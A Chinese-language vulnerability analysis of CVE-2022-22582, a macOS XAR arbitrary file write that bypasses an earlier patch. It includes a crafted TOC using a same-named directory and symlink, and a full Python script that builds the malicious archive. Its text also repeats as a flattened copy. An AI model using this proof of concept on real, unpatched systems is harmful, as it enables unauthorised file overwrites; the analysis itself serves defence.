Apple macOS XAR 任意文件写入漏洞分析(CVE-2022-22582)
字数 1276 2025-08-07 08:22:31

macOS XAR 任意文件写入漏洞分析 (CVE-2022-22582) 教学文档

0x01 漏洞概述

CVE-2022-22582 是 Apple macOS XAR 归档工具中的一个任意文件写入漏洞,该漏洞源于对 CVE-2021-30833 补丁的不完全修复。攻击者可以构造恶意的 XAR 归档文件,利用符号链接和路径处理逻辑缺陷,将文件写入系统任意位置(需有写入权限)。

0x02 技术背景

XAR 归档格式

  • XAR 是 macOS 使用的一种文件归档格式
  • 使用命令行工具 xar 进行提取操作
  • 苹果维护自己的 XAR 分支,发布在苹果开源网站上
  • 归档包含 XML 格式的目录表 (TOC) 和压缩数据

漏洞相关背景

  • 2021年10月苹果修复了 CVE-2021-30833(路径分隔符处理不当)
  • 在分析补丁时发现了 CVE-2022-22582
  • 新漏洞允许绕过之前的修复措施

0x03 漏洞原理分析

原始漏洞 (CVE-2021-30833)

  • 问题:处理目录链接时未正确处理路径分隔符(正斜杠 /
  • 允许在 <name> 标签中指定带 / 的路径
  • 结合符号链接可导致任意文件写入

新漏洞 (CVE-2022-22582)

  • 补丁后仍存在的逻辑缺陷:

    1. 当读取同时包含目录路径和同名目录的文件时,会先创建目录
    2. 如果目录已存在,会跳过符号链接创建
    3. 但文件仍会被写入原始目录而非符号链接目标
  • 关键利用点:

    • 通过调整 TOC 中目录和文件的顺序
    • 先创建正常目录,再创建同名符号链接
    • 导致文件被写入符号链接指向的位置

0x04 漏洞利用细节

恶意 XAR 文件结构

<?xml version="1.0" encoding="UTF-8"?>
<xar>
  <toc>
    <checksum style="sha1">
      <offset>0</offset>
      <size>20</size>
    </checksum>
    <!-- 1. 先创建正常目录 -->
    <file id="1">
      <name>.x</name>
      <type>directory</type>
      <file id="2">
        <name>test</name>
        <type>file</type>
        <data>
          <!-- 文件内容相关元数据 -->
        </data>
      </file>
    </file>
    <!-- 2. 再创建同名符号链接 -->
    <file id="3">
      <name>.x</name>
      <type>symlink</type>
      <link type="directory">/tmp/</link>
    </file>
  </toc>
</xar>

利用流程

  1. 创建正常目录 (如 .x) 和其中的文件
  2. 创建同名符号链接指向目标目录 (如 /tmp/)
  3. 由于目录已存在,符号链接创建被跳过
  4. 但文件仍会被写入符号链接指向的位置 (/tmp/test)

0x05 漏洞验证与利用

手动验证步骤

  1. 创建恶意 XAR 文件 (结构如上)
  2. 使用 xar -xvf exploit.xar 解压
  3. 检查目标目录 (如 /tmp/) 是否被写入文件

Python 自动化利用脚本

import zlib
import hashlib

# 构造恶意XAR文件
mydata = b'1111111'
datahash = str(hashlib.sha1(mydata).hexdigest())
fnm = 'testing.sh'

xmlxx = f'''<?xml version="1.0" encoding="UTF-8"?>
<xar>
<toc>
<checksum style="sha1">
<offset>0</offset>
<size>20</size>
</checksum>
<file id="1">
<name>.x</name>
<type>directory</type>
<file id="2">
<name>{fnm}</name>
<type>file</type>
<data>
<archived-checksum style="sha1">{datahash}</archived-checksum>
<extracted-checksum style="sha1">{datahash}</extracted-checksum>
<size>{len(mydata)}</size>
<offset>20</offset>
<encoding style="application/octet-stream"/>
<length>{len(mydata)}</length>
</data>
</file>
</file>
<file id="3">
<name>.x</name>
<type>symlink</type>
<link type="directory">/tmp/</link>
</file>
</toc>
</xar>'''

compressed = zlib.compress(xmlxx.encode('utf-8'), 9)
h = hashlib.sha1(compressed).digest()
toc_length_compressed = int.to_bytes(len(compressed), 8, 'big')
toc_length_uncompressed = int.to_bytes(len(xmlxx.encode('utf-8')), 8, 'big')
chcksum_alg = int.to_bytes(1, 4, 'big')
heapcontent = h + mydata

# 构建完整XAR文件
mymodifiedxar = b''
mymodifiedxar += b'xar!'  # magic
mymodifiedxar += int.to_bytes(28, 2, 'big')  # size
mymodifiedxar += int.to_bytes(28, 2, 'big')  # version
mymodifiedxar += toc_length_compressed
mymodifiedxar += toc_length_uncompressed
mymodifiedxar += chcksum_alg
mymodifiedxar += compressed
mymodifiedxar += heapcontent

# 写入文件
with open('exploit.xar', 'wb') as f:
    f.write(mymodifiedxar)

0x06 修复方案

官方补丁

  • macOS Monterey 12.3
  • macOS Big Sur 11.6.5
  • macOS Catalina 安全更新 2022-003

修复要点

  1. 正确处理符号链接和目录的创建顺序
  2. 加强路径验证,防止目录遍历
  3. 完善错误处理逻辑

0x07 防御建议

  1. 及时更新系统到安全版本
  2. 不要解压来源不明的 XAR 文件
  3. 在沙盒环境中处理不受信任的归档文件
  4. 对文件操作实施严格的权限控制

0x08 总结

CVE-2022-22582 展示了补丁绕过漏洞的典型案例,强调了:

  • 安全补丁需要全面考虑所有可能的攻击路径
  • 文件系统操作(特别是符号链接处理)是常见漏洞来源
  • 开源组件需要持续维护和安全审计

该漏洞也提醒开发者:

  1. 在处理用户提供的路径时要格外小心
  2. 符号链接可能改变文件操作的实际目标位置
  3. 文件系统操作的顺序可能影响安全性
macOS XAR 任意文件写入漏洞分析 (CVE-2022-22582) 教学文档 0x01 漏洞概述 CVE-2022-22582 是 Apple macOS XAR 归档工具中的一个任意文件写入漏洞,该漏洞源于对 CVE-2021-30833 补丁的不完全修复。攻击者可以构造恶意的 XAR 归档文件,利用符号链接和路径处理逻辑缺陷,将文件写入系统任意位置(需有写入权限)。 0x02 技术背景 XAR 归档格式 XAR 是 macOS 使用的一种文件归档格式 使用命令行工具 xar 进行提取操作 苹果维护自己的 XAR 分支,发布在苹果开源网站上 归档包含 XML 格式的目录表 (TOC) 和压缩数据 漏洞相关背景 2021年10月苹果修复了 CVE-2021-30833(路径分隔符处理不当) 在分析补丁时发现了 CVE-2022-22582 新漏洞允许绕过之前的修复措施 0x03 漏洞原理分析 原始漏洞 (CVE-2021-30833) 问题:处理目录链接时未正确处理路径分隔符(正斜杠 / ) 允许在 <name> 标签中指定带 / 的路径 结合符号链接可导致任意文件写入 新漏洞 (CVE-2022-22582) 补丁后仍存在的逻辑缺陷: 当读取同时包含目录路径和同名目录的文件时,会先创建目录 如果目录已存在,会跳过符号链接创建 但文件仍会被写入原始目录而非符号链接目标 关键利用点: 通过调整 TOC 中目录和文件的顺序 先创建正常目录,再创建同名符号链接 导致文件被写入符号链接指向的位置 0x04 漏洞利用细节 恶意 XAR 文件结构 利用流程 创建正常目录 (如 .x ) 和其中的文件 创建同名符号链接指向目标目录 (如 /tmp/ ) 由于目录已存在,符号链接创建被跳过 但文件仍会被写入符号链接指向的位置 ( /tmp/test ) 0x05 漏洞验证与利用 手动验证步骤 创建恶意 XAR 文件 (结构如上) 使用 xar -xvf exploit.xar 解压 检查目标目录 (如 /tmp/ ) 是否被写入文件 Python 自动化利用脚本 0x06 修复方案 官方补丁 macOS Monterey 12.3 macOS Big Sur 11.6.5 macOS Catalina 安全更新 2022-003 修复要点 正确处理符号链接和目录的创建顺序 加强路径验证,防止目录遍历 完善错误处理逻辑 0x07 防御建议 及时更新系统到安全版本 不要解压来源不明的 XAR 文件 在沙盒环境中处理不受信任的归档文件 对文件操作实施严格的权限控制 0x08 总结 CVE-2022-22582 展示了补丁绕过漏洞的典型案例,强调了: 安全补丁需要全面考虑所有可能的攻击路径 文件系统操作(特别是符号链接处理)是常见漏洞来源 开源组件需要持续维护和安全审计 该漏洞也提醒开发者: 在处理用户提供的路径时要格外小心 符号链接可能改变文件操作的实际目标位置 文件系统操作的顺序可能影响安全性